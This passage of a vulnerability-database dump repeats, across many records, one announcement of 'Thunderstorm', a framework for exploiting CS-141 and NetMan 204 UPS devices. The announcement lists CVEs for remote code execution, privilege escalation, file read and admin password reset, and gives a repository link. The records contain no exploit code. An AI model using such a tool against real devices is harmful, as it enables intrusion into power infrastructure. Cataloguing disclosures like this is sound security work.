Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-05T01:00:17.492341Z"}, {"uuid": "297cb71f-511a-45ce-924b-90e458f648d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47189", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-05T01:00:17.536599Z"}, {"uuid": "dd4c1392-621c-4ff9-bcf1-2e626a1308a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47188", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-05T01:00:17.589002Z"}, {"uuid": "a29152f3-777f-4965-bee0-eddbaed3f35c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47191", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-05T01:00:17.638497Z"}, {"uuid": "b9607f79-2af8-47d1-996e-3ad008cb8292", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47891", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-05T01:00:17.684566Z"}, {"uuid": "fc074688-f71e-4096-b9c7-be8befc5ddf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47189", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-05T01:00:23.302855Z"}, {"uuid": "6b0d9e55-8ead-4f4f-b46d-3313af8244da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47891", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-05T01:00:23.449444Z"}, {"uuid": "d8ec1b26-af4e-4d78-bc84-c54d0ca8ce82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47187", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-05T01:00:22.604446Z"}, {"uuid": "b7d13964-958d-4301-967c-553ae63ba8be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47892", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-05T01:00:22.649580Z"}, {"uuid": "d42f2cf5-fa47-476a-b6e3-f300bca04839", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47192", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-05T01:00:22.700567Z"}, {"uuid": "2ae8c72f-18ce-471e-88e1-cba22857bf4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47893", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-05T01:00:22.748787Z"}, {"uuid": "133ad987-f1e0-4e4d-b256-d38c47f0a27b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47186", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-05T01:00:22.797935Z"}, {"uuid": "447a08ec-9bb0-49d5-9ce6-dc4ce9acc89b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47190", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:\ngit clone https://github.com/JoelGMSec/Thunderstorm \nAlso, you probably need to download the original and the custom firmware. You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\n\n\nLicense\n\nThis project is licensed under the GNU 3.0 license \u2013 see the LICENSE file for more details.\n\n\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\n\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nClick Here To Download", "creation_timestamp": "2026-09-05T01:00:22.850511Z"}, {"uuid": "2a82da03-c04b-4281-ae7d-b4bd63d3531f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47188", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/96279", "content": "Kali Linux Tutorials\nThunderstorm : Modular Framework To Exploit UPS Devices\n\nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n\n\n\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\n\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\n\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file. 